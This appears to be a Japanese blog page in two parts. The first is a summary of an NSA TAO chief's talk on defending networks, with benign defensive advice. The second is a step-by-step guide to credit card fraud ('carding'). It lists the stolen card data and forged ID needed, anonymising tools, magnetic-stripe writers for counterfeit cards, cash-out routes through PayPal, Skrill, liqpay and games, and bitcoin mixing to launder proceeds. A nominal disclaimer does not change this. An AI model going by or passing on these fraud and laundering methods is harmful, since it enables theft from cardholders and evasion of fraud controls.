ほとんど全ての侵入の最初期において、皆さんは認証を得ようとしますね。しばしばきちんとした認証は危険にさらされ、侵入者がネットワークにやってきたきちんとしたユーザーに偽装して侵入できるようになってしまう。あなたのネットワーク内が普段どうなっているかを理解しておくためにプロセスやプランを持っておくことはもはや絶対条件です。誰かが認証を得た時、その認証のための規範に則ってオペレートしているか?その人は本来いるべき場所に向かっているか?やるべきでないことをしようとしていないか?よりよく守られたネットワークにはそのネットワークにアクセスする特別なメソッドが必要です。認証を監視していたり、変則的な振る舞いがないか見張っていたり。二要素認証は認証を盗むのをとても困難にします。奪われた認証の小さな割れ目が後の段階での巨大なアクセスの要にならないようにすることがとても重要なのです。何年にも渡って最上の方法として推奨されてきたものは大量にあります。しかし、アカウントへの権限をより少なくする、王国への鍵を持つアカウントをできるだけ少なくする、特別なユーザーに本当に必要な分だけの権限を与える、といったようなこと。誰もが幸せにそんな世界に暮らせるわけではありませんね。なぜ私が私のサーバーやボックスなんかの管理人になれないのか?このような認証リユースを広げてしまうことが結果として大規模な危険につながってしまうのです。ネットワークの部分部分を分割する、めったに実行されないとことか、whitelistingとか、そういったこと。自分のものを大事だと思うのならこういったことを考えてみてください。こういったものが我々に仕事をしづらくさせています。

 

いくつかポイントだけ紹介する。

  • 攻撃する側 (TAO) はターゲットのネットワークについて、それを設計/構築/運用する人よりも詳しく調べあげる。だから侵入に成功する。防御する側は自分達が使っている技術、製品についてすみずみまでよく知り、導入にあたって評価するための手続きを定め、適切な設定を行い、必要のない機能を止めるということが大事。Attack Surfaceを減らすこと。
  • 高度な攻撃者がいつもゼロデイを利用していると考えるのは間違い。大規模なネットワークはもっと簡単に少ないリスクで攻略できる攻撃ベクトルがたくさんあり、そのほうが効率もよく効果的。防御側は継続的に製品やソフトウェアの脆弱性対応などアップデートが必要。攻撃のハードルを上げること。
  • 侵入にもっとも使われる 3つの攻撃ベクトルは、(1) Eメール (2) Webサイト (受動型攻撃) (3) リムーバブルメディア。(3)はエアギャップを越えるのに使われることもある。
  • 人に頼る対策はだめ。いくら不審なメールを開くなと教育したところで開くやつは開く。そうではなくて、組織のポリシーを技術的に強制するための仕組みが必要。人がミスをしても攻撃を防ぐことができるかが大事。例えば Microsoftの EMETなど Anti-Exploitationの機能を使うことを推奨。IADの Host Mitigation Package (HMP) を読め。
  • Application Whitelistingを活用する。大規模なネットワークで一般ユーザに適用するのは難しいが、本当に守るべきネットワークを分離し、その範囲内において適用する。
  • ウイルス対策ではレピュテーションの機能は有効な防御手段。コンピュータ上で実行されるプログラムに関する情報をクラウドに送信して、レピュテーションデータベースとマッチング。また攻撃ツールがアクセスするサイトのドメイン名に関するレピュテーションも有効。
  • 侵入後の Lateral Movementを防ぐには、境界防御に頼っていてはダメで、ネットワークのセグメンテーションやモニタリングが大事。
  • 攻撃者は単に情報を盗むだけでなく破壊工作をすることもある。Saudi AramcoSony Pictures Entertainmentの事例など。オフサイトのバックアップなどの備えをすること。
  • サイバー犯罪者と国家レベルの攻撃者との違いに注意。サイバー犯罪者は日和見主義だが、NSAや APTはそうではない。ターゲットに侵入できるまでしつこく狙ってくるし、侵入後は長くとどまる。したがって防御側は継続的に対策の評価、改善を行わなければいけない。そうでなければ防げない。

どれも特に奇をてらったものではなく、いわゆるベストプラクティスといわれるセキュリティ対策がなぜ有効なのかを攻撃側の手法とあわせて解説している。講演はとても平易でわかりやすく、かつ有用な内容なので、ぜひご覧になることをお奨めする。

 

TAOによるハッキングへの道 - セキュリティは楽しいかね? Part 2

 


[ Applause ] JOYCE: Appreciate it.
Thanks -- thanks for the welcome.
So -- so, as David introduced, I'm from Tailored Access Operations.
And I will admit, it is very strange, right, to be in that position, appear on a stage in front of a group of people.
It's not something often done.
Um, but -- but I'm, uh, I'm in a -- a unique position in that we produce, in TAO, foreign intelligence for a wide range of missions to include advice to informing policy makers, um, protecting the nation's war fighters 24/7.
And in that space, um, we're doing nation-state exploitation.
And so my talk today is to tell you, as a nation-state exploiter, what can you do to defend yourself to make my life hard, right?
So not many people will stand on the stage and have the perspective of an organization that does exploitation and to be able to talk to those elements that really would disrupt the nation-state hackers.
Um, so in that vein, um, I want you to think about if there's something you really, really want to protect, what do you have to do?
So you'll hear a common theme throughout my talk.
It'll boil down to a couple small things.
The theme I want you to take away is if you really want to protect your network, you really have to know your network.
You have to know the devices, the security, technologies and the things inside it.
So why are we successful?
We put the time in to know that network.
We put the time in to know it better than the people who designed it and the people who are securing it.
And that's the bottom line.
And you'll kind of hear that woven throughout the talk.
So if you think about what goes into an intrusion, there's a series of phases that happen, right?

続きを読む

クレジットカード詐欺の現場


f:id:pyclas:20151012122236j:plain

イントロダクション

※この記事は犯罪を推奨するものではありません。

  1. 他人から盗んだクレジットカードで小売店等での不正決済

  2. ATMのskimmingから得たカード情報での不正決済

  3. オンライン上で購入したクレジットカード情報のオンライン上での不正決済

いわゆるCarderという人たちの分野に書いていくつもり、CarderにFullz情報を提供するVenderと呼ばれる人たちの分野についてはこの記事では触れない。




必要なものとか


  • クレジットカード情報(番号[BIN]、生年月日[date of birth(DOB)]、CVV2、SSN[Social Security Number])
  • Tor
  • VPN(VIP72 推奨)
  • VM Player(個人的にはVM Workstation推奨) ccleaner Gather Proxy 有償版

---------------- 以下はリアルカーディングのみ ----------------

  • マグストライプリーダー・ライター MSR-206(606等も可能)
  • カードプリンター
  • カードのエンボス加工する機器
  • ホログラムシール(taobaoで中国の業者に発注する)




Paypalでのカーディング 難易度:★★★★☆

(私)==> tor網 ==> VPN ==> socks proxy ==> paypal

dumpした(された)paypalアカウントから、debit cardにチャージ(Polish & Slavic Federal Credit Unionでデビッドカードを作れるらしいけど、調べると居住者しか作ることができないので難しいし、そもそも送金先でバレるのでは?)コンビニとか小売で売ってるような使いきりのクレジットカードになんかにチャージするらしいが、日本ではたぶん難しい。

paypalはtorexitnodeのホストのリストからフィルタリングしてるぽいので、カーディングの際にはCC情報の住所に近いsocks proxyを使う、タイムゾーン、OSに設定されているランゲージも取得してるぽい。言語、タイムゾーンは調べて適当なものに設定しておく。そしてDNSキャッシュも綺麗にしておき、Macアドレスも変更しておく。

cmdで行う場合

ipconfig/ release ipconfig ※DHCPで払いだされたアドレスの開放

ipconfig/ renew ipconfig ※DHCPで払いだされたアドレスの再取得

ipconfig/ flushdns ※DNSキャッシュのクリア

必要なもの

  • proxychains

  • VM Ware Visualbox (OSとかは割れで適当に調達)

  • ccleaner

  • VPN(vip72のような匿名性の高いものを契約しておく)

あると便利なもの

  • Gather Proxy 有償版(自動的にsocks proxy情報を取得してくれる、探せばpirate bayなんかであると思う)


    ◆liqpay 難易度:★★★★☆

f:id:pyclas:20151011135828j:plain

www.liqpay.com

クレジットカード ==> liqpay ==> PayPal ==> Bitcoin ==> ミキシングサービス ==> 自分のbitcoin WALLET

ロシアの代理決済サービス。tor界隈ではSMS認証で引っかかって諦める人多数。プリペイドSIMを個人輸入して使い、アカウントをSMSで認証しておく。liqpayに登録してdumpされたカード情報を取得、paypalの寄付ボタンからカーディング(1決済につき、20~30ルーブルまで)寄付で得たお金でpaypalbitcoinを購入して、ミキシングサービスを使って洗浄して、自分のblocchainとかに送金する。

f:id:pyclas:20151012134337j:plain

必要なもの

  • プリペイドSIM

  • クレジットカード情報(dump,窃取されたものを)

  • paypalアカウント(誰かの)

  • proxychains

  • VM Ware Workstation,Visualbox (OSとかは割れで適当に調達)

  • ccleaner

  • VPN(vip72のような匿名性の高いものを契約しておく)

あると便利なもの

  • Gather Proxy 有償版


    ◆電話での送金 難易度:★★☆☆☆(日本でできない可能性高)

    クレジットカード経由でのチャージに対応した、日本で使用可能な国外の可能なSIMカードを探す。 blockchainは電話での預金なんかにも対応してるらしい(知らなかった) 匿名性を担保できるSIMカードを手に入れるプリペイドSIMとか。tor接続でblockchainのアカウントを作成、電話でクレジットカードを使いblocchainアカウントに振り込み依頼する。大きな金額でも可能らしく、最も成功率が高いらしい。

必要なもの 

◆オンラインポーカーを使った方法 難易度:★★★☆☆

switch pokerでアカウントを作る。

www.switchpoker.com

2BTCを追加してアカウントを有効化。実際の自分の情報を使ったアカウントを作成する。dump済みクレジットカード情報を用いたアカウントを作り、torと通常のブラウザを使って、2アカウントでアビューズ。BANを避けるためにも実際にそこら辺のプレイヤーとプレーする。賞金を受け取る。
必要なもの

  • 2BTC


    bitcoinを使ったSKRILLカーディング 難易度:★★★★★

CCのfullz情報を購入。 skrill.comでskrillのアカウントを作成。(カード保有者の詳細を記入していく、匿名のメールアドレス、電話番号を使用する) slrillにクレジットカード情報を追加する。(カード情報が検証されるが、それを使わない電話する。※英語できるなら、ね。) 担当者はパスポート、公的身分証明書の提出を求めるので、提出する ※むりだろこれ。 有効化されれたあとskrillのアカウントに資金を追加して、skrillからVirwoxでbitcoinを購入する。

www.skrill.com

注意点

  • できるだけ早くskrillの口座からお金を移す。

  • 女性の情報で男性の声で担当者と会話しない。

  • 自分の情報を使わない。

  • 有料のsocks proxyを使う。(そこら辺に落ちてるようなproxyは速度も遅く、ほとんどがblack list登録されている。)

必要なもの

  • クレジットカード情報

  • クレジットカード保有者の詳細な情報

  • クレジットカード保有者の公的な身分証明書、あるいは偽造した身分証明書

  • proxychains

  • VM Ware Visualbox (OSとかは割れで適当に調達)

  • ccleaner

  • VPN(vip72のような匿名性の高いものを契約しておく)

※個人的にこれはidentificationの乗っ取りでもしない限りは難しいと思う。


◆ルーンスケープというオンラインゲームとpaypalを使った方法 難易度:★★★☆☆

www.runescape.com

Paypal ==> food4rs.com ==> Runescape ==> Easyplaygame.com ==> R2 PLESENT.com ==> 自分

換金率が低い(50%)

必要なもの

※以降上記のテクニックを応用しつつ、決済

◆国際配送対応のBtoCサービスでの方法 難易度:★☆☆☆☆

f:id:pyclas:20151012122015j:plain

普通に他人のクレジットカードを使って商品を購入する。配送先は空き家等にする。 ロンドンのHarrodsのサイトなんかもチェックが緩かった気がする。 決済はたぶん、少額で行わないと引っかかる。

カーディング可能サイトリスト ZeroBin

必要なもの

Base(ベイス)を使う方法

ネットショップを開き、そこでなにかを販売する(あまりに実態のない取引はアカウント、決済を停止される可能性あり) ※Bitcoinを販売した猛者が実態のない取引を疑われた。

BASE(ベイス) | ネットショップを無料で簡単に作成

必要なもの

  • クレジットカード情報

  • no log VPN

◆Purse.ioを利用する方法 難易度:★★☆☆☆

BTC ==> Purse.io ==> 商品 ==> 転売(あるいは転売しない)

Purse - Spend Bitcoin. Save Money. Bitcoinを使って、Amazonの商品を購入できる

買いたいものを自分のほしい物リストに登録して、それをPurse.ioにインポートします。 すると世界のどこかのBitcoinを購入したい人がその商品を代わりに買ってくれます。 自分に欲しい商品が届いたら、買ってくれた人に代金としてBitcoinを支払います。 このような流れによって、商品を買いたい人はBitcoinを使って安く買うことができ、Bitcoinが欲しい人はAmazon経由で購入することができます。

reomaru7.hatenablog.jp

必要なもの

  • クレジットカード情報

  • no log VPN

◆マグストライプライターでのtrack1,2のクレジットカードキャッシング 難易度:★★★★☆

track1,2,cvv2等を磁気ストライプに書き込み、それでキャッシング。

ホログラムシールはtaobaoなんかで中国の業者に発注し、自分でカード番号の彫りを入れ、カードそのものを偽造することもあるらしい。

MSR206 (カーダー御用達の磁気ストライプライター) us.ute.com

参考動画

www.youtube.com

www.youtube.com

www.youtube.com

※真ん中の動画は実はオランダの消費者保護NPO(のようなもの)の啓蒙活動のために制作されたものだったりする。